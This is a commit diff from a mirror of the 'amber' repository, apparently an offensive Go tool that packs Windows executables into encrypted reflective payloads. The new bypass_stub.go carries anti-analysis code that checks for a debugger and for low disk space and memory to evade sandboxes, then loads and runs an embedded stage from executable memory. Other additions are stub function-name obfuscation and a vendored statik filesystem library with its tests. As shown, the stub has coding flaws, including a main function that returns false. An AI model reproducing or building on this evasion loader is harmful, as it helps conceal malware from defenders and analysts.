mirror of
https://github.com/EgeBalci/amber
synced 2026-06-06 15:34:33 +00:00
- Function name obfuscation added
- Anti-Analysis stub added - FS library localized
This commit is contained in:
@@ -13,10 +13,12 @@ import (
|
||||
func main() {
|
||||
runtime.GOMAXPROCS(runtime.NumCPU()) // Run faster !
|
||||
|
||||
flag.IntVar(&target.keySize, "k", 8, "Size of the encryption key in bytes (Max:255/Min:8)")
|
||||
flag.IntVar(&target.keySize, "keysize", 8, "Size of the encryption key in bytes (Max:255/Min:8)")
|
||||
flag.IntVar(&target.KeySize, "k", 8, "Size of the encryption key in bytes (Max:255/Min:8)")
|
||||
flag.IntVar(&target.KeySize, "keysize", 8, "Size of the encryption key in bytes (Max:255/Min:8)")
|
||||
flag.BoolVar(&target.reflective, "r", false, "Generated a reflective payload")
|
||||
flag.BoolVar(&target.reflective, "reflective", false, "Generated a reflective payload")
|
||||
flag.BoolVar(&target.AntiAnalysis, "a", false, "Add anti-analysis functions inside stub (Binary size will increase)")
|
||||
flag.BoolVar(&target.AntiAnalysis, "anti-analysis", false, "Add anti-analysis functions inside stub (Binary size will increase)")
|
||||
flag.BoolVar(&target.resource, "no-resource", false, "Don't add any resource data")
|
||||
flag.BoolVar(&target.scrape, "s", false, "Scrape the PE header info (May break some files)")
|
||||
flag.BoolVar(&target.scrape, "scrape", false, "Scrape the PE header info (May break some files)")
|
||||
@@ -25,7 +27,7 @@ func main() {
|
||||
flag.BoolVar(&target.verbose, "v", false, "Verbose output mode")
|
||||
flag.BoolVar(&target.verbose, "verbose", false, "Verbose output mode")
|
||||
flag.BoolVar(&target.debug, "debug", false, "Do not clean created files")
|
||||
flag.BoolVar(&target.ignoreIntegrity, "ignore-integrity", false, "Ignore integrity check errors.")
|
||||
flag.BoolVar(&target.IgnoreIntegrity, "ignore-integrity", false, "Ignore integrity check errors.")
|
||||
flag.BoolVar(&target.help, "h", false, "Display this message")
|
||||
flag.BoolVar(&target.help, "H", false, "Display this message")
|
||||
flag.Parse()
|
||||
@@ -36,7 +38,7 @@ func main() {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if target.keySize < 8 || target.keySize > 255 {
|
||||
if target.KeySize < 8 || target.KeySize > 255 {
|
||||
parseErr(errors.New("invalid key size, key size must be between 8-255"))
|
||||
}
|
||||
|
||||
@@ -44,7 +46,7 @@ func main() {
|
||||
if len(ARGS) == 0 {
|
||||
parseErr(errors.New("target file not specified"))
|
||||
}
|
||||
target.fileName = ARGS[(len(ARGS) - 1)]
|
||||
target.FileName = ARGS[(len(ARGS) - 1)]
|
||||
|
||||
// Show status
|
||||
printParams()
|
||||
@@ -53,23 +55,23 @@ func main() {
|
||||
// Check dependencies
|
||||
requirements()
|
||||
// Setup the working directory
|
||||
target.workdir = workdir(target.fileName)
|
||||
target.workdir = workdir(target.FileName)
|
||||
verbose("Setting up workdirectory at "+target.workdir, "*")
|
||||
mkdir(target.workdir)
|
||||
cdir(target.workdir)
|
||||
// Get the absolute path of the file
|
||||
abs, absErr := filepath.Abs(ARGS[(len(ARGS) - 1)])
|
||||
parseErr(absErr)
|
||||
target.fileName = abs
|
||||
target.FileName = abs
|
||||
// Open the input file
|
||||
verbose("Opening input file...", "*")
|
||||
file, fileErr := pe.Open(target.fileName)
|
||||
file, fileErr := pe.Open(target.FileName)
|
||||
parseErr(fileErr)
|
||||
analyze(file) // 10 steps
|
||||
// Assemble the core amber payload
|
||||
assemble() // 10 steps
|
||||
if target.reflective {
|
||||
copyFile(target.workdir+"/stage", target.fileName+".stage") // Incase the file is on different volume
|
||||
copyFile(target.workdir+"/stage", target.FileName+".stage") // Incase the file is on different volume
|
||||
} else {
|
||||
compile() // Compile the amber stub (10 steps)
|
||||
}
|
||||
@@ -82,13 +84,13 @@ func main() {
|
||||
finalSize := ""
|
||||
|
||||
if target.reflective == true {
|
||||
finalSize = fileSize(target.fileName + ".stage")
|
||||
finalSize = fileSize(target.FileName + ".stage")
|
||||
} else {
|
||||
finalSize = fileSize(target.fileName)
|
||||
finalSize = fileSize(target.FileName)
|
||||
}
|
||||
|
||||
BoldYellow.Print("\n[*] ")
|
||||
white.Println("Final Size: " + target.fileSize + " -> " + finalSize + " bytes")
|
||||
white.Println("Final Size: " + target.FileSize + " -> " + finalSize + " bytes")
|
||||
if target.reflective == true {
|
||||
BoldGreen.Println("[✔] Reflective stub generated !\n")
|
||||
} else {
|
||||
|
||||
+3
-3
@@ -11,7 +11,7 @@ import (
|
||||
func analyze(file *pe.File) {
|
||||
//Do analysis on pe file...
|
||||
verbose("Analyzing PE file...", "*")
|
||||
verbose("File Size: "+target.fileSize+" byte", "*")
|
||||
verbose("File Size: "+target.FileSize+" byte", "*")
|
||||
verbose("Machine: "+fmt.Sprintf("0x%X", file.FileHeader.Machine), "*")
|
||||
if file.FileHeader.Machine == 0x14C {
|
||||
target.arch = "x86"
|
||||
@@ -55,8 +55,8 @@ func analyze(file *pe.File) {
|
||||
if (opt.DataDirectory[1].Size) == 0x00 {
|
||||
parseErr(errors.New("Import table size zero, file has empty import table"))
|
||||
}
|
||||
target.fileSize = fileSize(target.fileName)
|
||||
target.imageBase = opt.ImageBase
|
||||
target.FileSize = fileSize(target.FileName)
|
||||
target.ImageBase = opt.ImageBase
|
||||
target.subsystem = opt.Subsystem
|
||||
|
||||
verbose("Subsystem: "+fmt.Sprintf("0x%X", uint64(opt.Subsystem)), "*")
|
||||
|
||||
+24
-51
@@ -9,13 +9,19 @@ import (
|
||||
)
|
||||
|
||||
func assemble() {
|
||||
|
||||
verbose("Assembling stub...", "*")
|
||||
// Create static fs
|
||||
statikFS, err := fs.New()
|
||||
parseErr(err)
|
||||
|
||||
Map, err := mape.CreateFileMapping(target.fileName)
|
||||
Map, err := mape.CreateFileMapping(target.FileName)
|
||||
parseErr(err)
|
||||
|
||||
err = mape.PerformIntegrityChecks(target.FileName, Map)
|
||||
if target.IgnoreIntegrity && err != nil {
|
||||
parseErr(err)
|
||||
}
|
||||
|
||||
mapFile, err := os.Create(target.workdir + "/Mem.map")
|
||||
parseErr(err)
|
||||
if target.scrape {
|
||||
@@ -25,78 +31,45 @@ func assemble() {
|
||||
}
|
||||
mapFile.Close()
|
||||
|
||||
stubName := ""
|
||||
apiName := ""
|
||||
decoderName := ""
|
||||
stub := ""
|
||||
api := ""
|
||||
decoder := ""
|
||||
|
||||
if target.arch == "x86" {
|
||||
if target.aslr == false {
|
||||
stubName = "/x86/fixed_stub.asm"
|
||||
stub = "/x86/fixed_stub.asm"
|
||||
} else {
|
||||
stubName = "/x86/stub.asm"
|
||||
stub = "/x86/stub.asm"
|
||||
}
|
||||
if target.iat {
|
||||
apiName = "/x86/api/iat_api.asm"
|
||||
api = "/x86/api/iat_api.asm"
|
||||
} else {
|
||||
apiName = "/x86/api/block_api.asm"
|
||||
api = "/x86/api/block_api.asm"
|
||||
}
|
||||
decoderName = "/x86/RC4.asm"
|
||||
decoder = "/x86/RC4.asm"
|
||||
} else {
|
||||
if target.aslr == false {
|
||||
stubName = "/x64/fixed_stub.asm"
|
||||
stub = "/x64/fixed_stub.asm"
|
||||
|
||||
} else {
|
||||
stubName = "/x64/stub.asm"
|
||||
stub = "/x64/stub.asm"
|
||||
}
|
||||
if target.iat {
|
||||
apiName = "/x64/api/iat_api.asm"
|
||||
api = "/x64/api/iat_api.asm"
|
||||
} else {
|
||||
apiName = "/x64/api/block_api.asm"
|
||||
api = "/x64/api/block_api.asm"
|
||||
}
|
||||
decoderName = "/x64/RC4.asm"
|
||||
decoder = "/x64/RC4.asm"
|
||||
}
|
||||
|
||||
// Write stub.asm to workdir
|
||||
stub, err := fs.ReadFile(statikFS, stubName)
|
||||
parseErr(err)
|
||||
stubFile, err := os.Create(target.workdir + "/stub.asm")
|
||||
parseErr(err)
|
||||
_, err = stubFile.Write(stub)
|
||||
parseErr(err)
|
||||
extract(statikFS, stub, "stub.asm")
|
||||
|
||||
// Write api.asm to workdir
|
||||
api, err := fs.ReadFile(statikFS, apiName)
|
||||
parseErr(err)
|
||||
apiFile, err := os.Create(target.workdir + "/api.asm")
|
||||
parseErr(err)
|
||||
_, err = apiFile.Write(api)
|
||||
parseErr(err)
|
||||
extract(statikFS, api, "api.asm")
|
||||
|
||||
// Write RC4.asm to workdir
|
||||
decoder, err := fs.ReadFile(statikFS, decoderName)
|
||||
parseErr(err)
|
||||
decoderFile, err := os.Create(target.workdir + "/RC4.asm")
|
||||
parseErr(err)
|
||||
_, err = decoderFile.Write(decoder)
|
||||
parseErr(err)
|
||||
|
||||
// Write stub.go to workdir
|
||||
goStub, err := fs.ReadFile(statikFS, "/stub/stub.go")
|
||||
parseErr(err)
|
||||
goStubFile, err := os.Create(target.workdir + "/stub.go")
|
||||
parseErr(err)
|
||||
_, err = goStubFile.Write(goStub)
|
||||
parseErr(err)
|
||||
|
||||
if !target.resource {
|
||||
// Write rsrc.syso to workdir
|
||||
goResource, err := fs.ReadFile(statikFS, "/stub/rsrc.syso")
|
||||
parseErr(err)
|
||||
goResourceFile, err := os.Create(target.workdir + "/rsrc.syso")
|
||||
parseErr(err)
|
||||
_, err = goResourceFile.Write(goResource)
|
||||
parseErr(err)
|
||||
}
|
||||
extract(statikFS, decoder, "RC4.asm")
|
||||
|
||||
nasm(target.workdir+"/stub.asm", target.workdir+"/payload")
|
||||
crypt()
|
||||
|
||||
@@ -23,7 +23,7 @@ func progress() {
|
||||
}
|
||||
|
||||
func createProgressBar() {
|
||||
step := 19
|
||||
step := 35
|
||||
if target.reflective {
|
||||
step = step - 5
|
||||
}
|
||||
@@ -103,11 +103,11 @@ func print(str string, status string) {
|
||||
|
||||
func printParams() {
|
||||
BoldYellow.Print("\n[*] File: ")
|
||||
BoldBlue.Println(target.fileName)
|
||||
BoldBlue.Println(target.FileName)
|
||||
BoldYellow.Print("[*] Reflective: ")
|
||||
BoldBlue.Println(target.reflective)
|
||||
BoldYellow.Print("[*] Key Size: ")
|
||||
BoldBlue.Println(target.keySize)
|
||||
BoldBlue.Println(target.KeySize)
|
||||
BoldYellow.Print("[*] API: ")
|
||||
if target.iat {
|
||||
BoldBlue.Println("IAT")
|
||||
@@ -139,7 +139,7 @@ func requirements() {
|
||||
|
||||
func parseErr(err error) {
|
||||
if err != nil {
|
||||
fmt.Println("")
|
||||
fmt.Println("\n")
|
||||
//clean()
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
+44
-5
@@ -1,20 +1,47 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"github.com/rakyll/statik/fs"
|
||||
)
|
||||
|
||||
func compile() {
|
||||
|
||||
mkdir(target.workdir + "/fs")
|
||||
mkdir(target.workdir + "/data")
|
||||
move(target.workdir+"/stage", target.workdir+"/data/stage")
|
||||
statik("statik", target.workdir+"/data", target.workdir)
|
||||
id := statik(target.workdir+"/data", target.workdir)
|
||||
|
||||
// Create static fs
|
||||
statikFS, err := fs.New()
|
||||
parseErr(err)
|
||||
|
||||
// Extract virtual fs libraries
|
||||
extract(statikFS, "/stub/fs/fs.go", "./fs/fs.go")
|
||||
extract(statikFS, "/stub/fs/walk.go", "./fs/walk.go")
|
||||
extract(statikFS, "/stub/fs/fs_test.go", "./fs/fs_test.go")
|
||||
|
||||
// Write stub.go to workdir
|
||||
if target.AntiAnalysis {
|
||||
extract(statikFS, "/stub/bypass_stub.go", "stub.go")
|
||||
} else {
|
||||
extract(statikFS, "/stub/stub.go", "stub.go")
|
||||
}
|
||||
|
||||
if !target.resource {
|
||||
// Write rsrc.syso to workdir
|
||||
extract(statikFS, "/stub/rsrc.syso", "rsrc.syso")
|
||||
}
|
||||
|
||||
ldflags := `-ldflags=-s`
|
||||
if target.subsystem == 0x02 {
|
||||
ldflags = `-ldflags="-s -H windowsgui"`
|
||||
}
|
||||
build := exec.Command("go", "build", "-buildmode=exe", ldflags, "-o", target.fileName, ".")
|
||||
build := exec.Command("go", "build", "-buildmode=exe", ldflags, "-o", target.FileName, ".")
|
||||
build.Env = os.Environ()
|
||||
build.Env = append(build.Env, "GOOS=windows")
|
||||
if target.arch == "x86" {
|
||||
@@ -22,11 +49,23 @@ func compile() {
|
||||
} else {
|
||||
build.Env = append(build.Env, "GOARCH=amd64")
|
||||
}
|
||||
|
||||
obfuscateFunctionNames(id)
|
||||
verbose("Compiling go stub...", "*")
|
||||
build.Stderr = os.Stderr
|
||||
build.Stdout = os.Stdout
|
||||
err := build.Run()
|
||||
err = build.Run()
|
||||
parseErr(err)
|
||||
defer progress()
|
||||
}
|
||||
|
||||
func obfuscateFunctionNames(id string) {
|
||||
verbose("Obfuscating function names...", "*")
|
||||
file, err := os.OpenFile(target.workdir+"/stub.go", os.O_WRONLY, os.ModeDevice)
|
||||
parseErr(err)
|
||||
rawFile, err := ioutil.ReadFile(target.workdir + "/stub.go")
|
||||
parseErr(err)
|
||||
stub := strings.Replace(string(rawFile), "{{statik}}", id, -1)
|
||||
_, err = file.Write([]byte(stub))
|
||||
parseErr(err)
|
||||
defer progress()
|
||||
}
|
||||
@@ -35,7 +74,7 @@ func compile() {
|
||||
// file, err := pe.Open(fileName)
|
||||
// parseErr(err)
|
||||
// opt := mape.ConvertOptionalHeader(file)
|
||||
// if target.imageBase != opt.ImageBase {
|
||||
// if target.ImageBase != opt.ImageBase {
|
||||
// rawFile, err := ioutil.ReadFile(fileName)
|
||||
// parseErr(err)
|
||||
// nt := int(rawFile[0x3c])
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
statik "./statik"
|
||||
"./fs"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
type MEMORYSTATUSEX struct {
|
||||
dwLength uint32
|
||||
dwMemoryLoad uint32
|
||||
ullTotalPhys uint64
|
||||
ullAvailPhys uint64
|
||||
ullTotalPageFile uint64
|
||||
ullAvailPageFile uint64
|
||||
ullTotalVirtual uint64
|
||||
ullAvailVirtual uint64
|
||||
ullAvailExtendedVirtual uint64
|
||||
}
|
||||
|
||||
var kernel32, _ = syscall.LoadLibrary("kernel32.dll")
|
||||
var globalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
|
||||
var getDiskFreeSpaceEx = kernel32.NewProc("GetDiskFreeSpaceExW")
|
||||
var IsDebuggerPresent, _ = syscall.GetProcAddress(kernel32, "IsDebuggerPresent")
|
||||
|
||||
// Check debugger
|
||||
var nargs uintptr = 0
|
||||
debuggerPresent, _, _ := syscall.Syscall(uintptr(IsDebuggerPresent), nargs, 0, 0, 0)
|
||||
if debuggerPresent != 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
// Check freee disks space (50G min)
|
||||
lpFreeBytesAvailable := int64(0)
|
||||
lpTotalNumberOfBytes := int64(0)
|
||||
lpTotalNumberOfFreeBytes := int64(0)
|
||||
|
||||
getDiskFreeSpaceEx.Call(
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))),
|
||||
uintptr(unsafe.Pointer(&lpFreeBytesAvailable)),
|
||||
uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
|
||||
uintptr(unsafe.Pointer(&lpTotalNumberOfFreeBytes)))
|
||||
diskSizeGB := float32(lpTotalNumberOfBytes) / 1073741824
|
||||
if diskSizeGB < float32(50.0) {
|
||||
return false
|
||||
}
|
||||
|
||||
// Check memory
|
||||
var memInfo MEMORYSTATUSEX
|
||||
memInfo.dwLength = uint32(unsafe.Sizeof(memInfo))
|
||||
globalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&memInfo)))
|
||||
if memInfo.ullTotalPhys/1073741824 < 1 {
|
||||
return false
|
||||
}
|
||||
|
||||
// Detect sleep acceleration
|
||||
// Check CPU cores
|
||||
|
||||
statik.{{statik}}()
|
||||
|
||||
VirtualAlloc := syscall.MustLoadDLL("kernel32.dll").MustFindProc("VirtualAlloc")
|
||||
memcpy := syscall.MustLoadDLL("msvcrt.dll").MustFindProc("memcpy")
|
||||
statikFS, _ := fs.New()
|
||||
data, _ := fs.ReadFile(statikFS, "/stage")
|
||||
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(data)), 0x1000|0x2000, 0x40)
|
||||
_, _, _ = memcpy.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
|
||||
syscall.Syscall(addr, 0, 0, 0, 0)
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
// Copyright 2014 Google Inc. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
// Package fs contains an HTTP file system that works with zip contents.
|
||||
package fs
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"os"
|
||||
"path"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var zipData string
|
||||
|
||||
// file holds unzipped read-only file contents and file metadata.
|
||||
type file struct {
|
||||
os.FileInfo
|
||||
data []byte
|
||||
fs *statikFS
|
||||
}
|
||||
|
||||
type statikFS struct {
|
||||
files map[string]file
|
||||
}
|
||||
|
||||
// Register registers zip contents data, later used to initialize
|
||||
// the statik file system.
|
||||
func Register(data string) {
|
||||
zipData = data
|
||||
}
|
||||
|
||||
// New creates a new file system with the registered zip contents data.
|
||||
// It unzips all files and stores them in an in-memory map.
|
||||
func New() (http.FileSystem, error) {
|
||||
if zipData == "" {
|
||||
return nil, errors.New("statik/fs: no zip data registered")
|
||||
}
|
||||
zipReader, err := zip.NewReader(strings.NewReader(zipData), int64(len(zipData)))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
files := make(map[string]file, len(zipReader.File))
|
||||
fs := &statikFS{files: files}
|
||||
for _, zipFile := range zipReader.File {
|
||||
fi := zipFile.FileInfo()
|
||||
f := file{FileInfo: fi, fs: fs}
|
||||
f.data, err = unzip(zipFile)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("statik/fs: error unzipping file %q: %s", zipFile.Name, err)
|
||||
}
|
||||
files["/"+zipFile.Name] = f
|
||||
}
|
||||
for fn := range files {
|
||||
dn := path.Dir(fn)
|
||||
if _, ok := files[dn]; !ok {
|
||||
files[dn] = file{FileInfo: dirInfo{dn}, fs: fs}
|
||||
}
|
||||
}
|
||||
return fs, nil
|
||||
}
|
||||
|
||||
var _ = os.FileInfo(dirInfo{})
|
||||
|
||||
type dirInfo struct {
|
||||
name string
|
||||
}
|
||||
|
||||
func (di dirInfo) Name() string { return di.name }
|
||||
func (di dirInfo) Size() int64 { return 0 }
|
||||
func (di dirInfo) Mode() os.FileMode { return 0755 | os.ModeDir }
|
||||
func (di dirInfo) ModTime() time.Time { return time.Time{} }
|
||||
func (di dirInfo) IsDir() bool { return true }
|
||||
func (di dirInfo) Sys() interface{} { return nil }
|
||||
|
||||
func unzip(zf *zip.File) ([]byte, error) {
|
||||
rc, err := zf.Open()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rc.Close()
|
||||
return ioutil.ReadAll(rc)
|
||||
}
|
||||
|
||||
// Open returns a file matching the given file name, or os.ErrNotExists if
|
||||
// no file matching the given file name is found in the archive.
|
||||
// If a directory is requested, Open returns the file named "index.html"
|
||||
// in the requested directory, if that file exists.
|
||||
func (fs *statikFS) Open(name string) (http.File, error) {
|
||||
name = strings.Replace(name, "//", "/", -1)
|
||||
if f, ok := fs.files[name]; ok {
|
||||
return newHTTPFile(f), nil
|
||||
}
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
func newHTTPFile(file file) *httpFile {
|
||||
if file.IsDir() {
|
||||
return &httpFile{file: file, isDir: true}
|
||||
}
|
||||
return &httpFile{file: file, reader: bytes.NewReader(file.data)}
|
||||
}
|
||||
|
||||
// httpFile represents an HTTP file and acts as a bridge
|
||||
// between file and http.File.
|
||||
type httpFile struct {
|
||||
file
|
||||
|
||||
reader *bytes.Reader
|
||||
isDir bool
|
||||
}
|
||||
|
||||
// Read reads bytes into p, returns the number of read bytes.
|
||||
func (f *httpFile) Read(p []byte) (n int, err error) {
|
||||
if f.reader == nil && f.isDir {
|
||||
return 0, io.EOF
|
||||
}
|
||||
return f.reader.Read(p)
|
||||
}
|
||||
|
||||
// Seek seeks to the offset.
|
||||
func (f *httpFile) Seek(offset int64, whence int) (ret int64, err error) {
|
||||
return f.reader.Seek(offset, whence)
|
||||
}
|
||||
|
||||
// Stat stats the file.
|
||||
func (f *httpFile) Stat() (os.FileInfo, error) {
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// IsDir returns true if the file location represents a directory.
|
||||
func (f *httpFile) IsDir() bool {
|
||||
return f.isDir
|
||||
}
|
||||
|
||||
// Readdir returns an empty slice of files, directory
|
||||
// listing is disabled.
|
||||
func (f *httpFile) Readdir(count int) ([]os.FileInfo, error) {
|
||||
var fis []os.FileInfo
|
||||
if !f.isDir {
|
||||
return fis, nil
|
||||
}
|
||||
prefix := f.Name()
|
||||
for fn, f := range f.file.fs.files {
|
||||
if strings.HasPrefix(fn, prefix) && len(fn) > len(prefix) {
|
||||
fis = append(fis, f.FileInfo)
|
||||
}
|
||||
}
|
||||
return fis, nil
|
||||
}
|
||||
|
||||
func (f *httpFile) Close() error {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,284 @@
|
||||
// Copyright 2014 Google Inc. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
package fs
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type wantFile struct {
|
||||
data []byte
|
||||
isDir bool
|
||||
modTime time.Time
|
||||
mode os.FileMode
|
||||
name string
|
||||
size int64
|
||||
err error
|
||||
}
|
||||
|
||||
func TestOpen(t *testing.T) {
|
||||
fileTxtHeader := mustFileHeader("../testdata/file/file.txt")
|
||||
pixelGifHeader := mustFileHeader("../testdata/image/pixel.gif")
|
||||
indexHTMLHeader := mustFileHeader("../testdata/index/index.html")
|
||||
subdirIndexHTMLHeader := mustFileHeader("../testdata/index/sub_dir/index.html")
|
||||
tests := []struct {
|
||||
description string
|
||||
zipData string
|
||||
wantFiles map[string]wantFile
|
||||
}{
|
||||
{
|
||||
description: "Files should retain their original file mode and modified time",
|
||||
zipData: mustZipTree("../testdata/file"),
|
||||
wantFiles: map[string]wantFile{
|
||||
"/file.txt": {
|
||||
data: mustReadFile("../testdata/file/file.txt"),
|
||||
isDir: false,
|
||||
modTime: fileTxtHeader.ModTime(),
|
||||
mode: fileTxtHeader.Mode(),
|
||||
name: fileTxtHeader.Name,
|
||||
size: int64(fileTxtHeader.UncompressedSize64),
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
description: "Images should successfully unpack",
|
||||
zipData: mustZipTree("../testdata/image"),
|
||||
wantFiles: map[string]wantFile{
|
||||
"/pixel.gif": {
|
||||
data: mustReadFile("../testdata/image/pixel.gif"),
|
||||
isDir: false,
|
||||
modTime: pixelGifHeader.ModTime(),
|
||||
mode: pixelGifHeader.Mode(),
|
||||
name: pixelGifHeader.Name,
|
||||
size: int64(pixelGifHeader.UncompressedSize64),
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
description: "'index.html' files should be returned at their original path and their directory path",
|
||||
zipData: mustZipTree("../testdata/index"),
|
||||
wantFiles: map[string]wantFile{
|
||||
"/index.html": {
|
||||
data: mustReadFile("../testdata/index/index.html"),
|
||||
isDir: false,
|
||||
modTime: indexHTMLHeader.ModTime(),
|
||||
mode: indexHTMLHeader.Mode(),
|
||||
name: indexHTMLHeader.Name,
|
||||
size: int64(indexHTMLHeader.UncompressedSize64),
|
||||
},
|
||||
"/sub_dir/index.html": {
|
||||
data: mustReadFile("../testdata/index/sub_dir/index.html"),
|
||||
isDir: false,
|
||||
modTime: subdirIndexHTMLHeader.ModTime(),
|
||||
mode: subdirIndexHTMLHeader.Mode(),
|
||||
name: subdirIndexHTMLHeader.Name,
|
||||
size: int64(subdirIndexHTMLHeader.UncompressedSize64),
|
||||
},
|
||||
"/": {
|
||||
isDir: true,
|
||||
mode: os.ModeDir | 0755,
|
||||
name: "/",
|
||||
},
|
||||
"/sub_dir": {
|
||||
isDir: true,
|
||||
mode: os.ModeDir | 0755,
|
||||
name: "/sub_dir",
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
description: "Missing files should return os.ErrNotExist",
|
||||
zipData: mustZipTree("../testdata/file"),
|
||||
wantFiles: map[string]wantFile{
|
||||
"/missing.txt": {
|
||||
err: os.ErrNotExist,
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.description, func(t *testing.T) {
|
||||
Register(tc.zipData)
|
||||
fs, err := New()
|
||||
if err != nil {
|
||||
t.Errorf("New() = %v", err)
|
||||
return
|
||||
}
|
||||
for name, wantFile := range tc.wantFiles {
|
||||
f, err := fs.Open(name)
|
||||
if wantFile.err != err {
|
||||
t.Errorf("fs.Open(%v) = %v; want %v", name, err, wantFile.err)
|
||||
}
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !wantFile.isDir {
|
||||
b, err := ioutil.ReadAll(f)
|
||||
if err != nil {
|
||||
t.Errorf("ioutil.ReadAll(%v) = %v", name, err)
|
||||
continue
|
||||
}
|
||||
if !reflect.DeepEqual(wantFile.data, b) {
|
||||
t.Errorf("%v data = %q; want %q", name, b, wantFile.data)
|
||||
}
|
||||
}
|
||||
stat, err := f.Stat()
|
||||
if err != nil {
|
||||
t.Errorf("Stat(%v) = %v", name, err)
|
||||
}
|
||||
if got, want := stat.IsDir(), wantFile.isDir; got != want {
|
||||
t.Errorf("IsDir(%v) = %t; want %t", name, got, want)
|
||||
}
|
||||
if got, want := stat.ModTime(), wantFile.modTime; got != want {
|
||||
t.Errorf("ModTime(%v) = %v; want %v", name, got, want)
|
||||
}
|
||||
if got, want := stat.Mode(), wantFile.mode; got != want {
|
||||
t.Errorf("Mode(%v) = %v; want %v", name, got, want)
|
||||
}
|
||||
if got, want := stat.Name(), wantFile.name; got != want {
|
||||
t.Errorf("Name(%v) = %v; want %v", name, got, want)
|
||||
}
|
||||
if got, want := stat.Size(), wantFile.size; got != want {
|
||||
t.Errorf("Size(%v) = %v; want %v", name, got, want)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Test that calling Open by many goroutines concurrently continues
|
||||
// to return the expected result.
|
||||
func TestOpen_Parallel(t *testing.T) {
|
||||
indexHTMLData := mustReadFile("../testdata/index/index.html")
|
||||
Register(mustZipTree("../testdata/index"))
|
||||
fs, err := New()
|
||||
if err != nil {
|
||||
t.Fatalf("New() = %v", err)
|
||||
}
|
||||
wg := sync.WaitGroup{}
|
||||
for i := 0; i < 128; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
name := "/index.html"
|
||||
f, err := fs.Open(name)
|
||||
if err != nil {
|
||||
t.Errorf("fs.Open(%v) = %v", name, err)
|
||||
return
|
||||
}
|
||||
b, err := ioutil.ReadAll(f)
|
||||
if err != nil {
|
||||
t.Errorf("ioutil.ReadAll(%v) = %v", name, err)
|
||||
return
|
||||
}
|
||||
if !reflect.DeepEqual(indexHTMLData, b) {
|
||||
t.Errorf("%v data = %q; want %q", name, b, indexHTMLData)
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func BenchmarkOpen(b *testing.B) {
|
||||
Register(mustZipTree("../testdata/index"))
|
||||
fs, err := New()
|
||||
if err != nil {
|
||||
b.Fatalf("New() = %v", err)
|
||||
}
|
||||
b.RunParallel(func(pb *testing.PB) {
|
||||
for pb.Next() {
|
||||
name := "/index.html"
|
||||
_, err := fs.Open(name)
|
||||
if err != nil {
|
||||
b.Errorf("fs.Open(%v) = %v", name, err)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// mustZipTree walks on the source path and returns the zipped file contents
|
||||
// as a string. Panics on any errors.
|
||||
func mustZipTree(srcPath string) string {
|
||||
var out bytes.Buffer
|
||||
w := zip.NewWriter(&out)
|
||||
if err := filepath.Walk(srcPath, func(path string, fi os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Ignore directories and hidden files.
|
||||
// No entry is needed for directories in a zip file.
|
||||
// Each file is represented with a path, no directory
|
||||
// entities are required to build the hierarchy.
|
||||
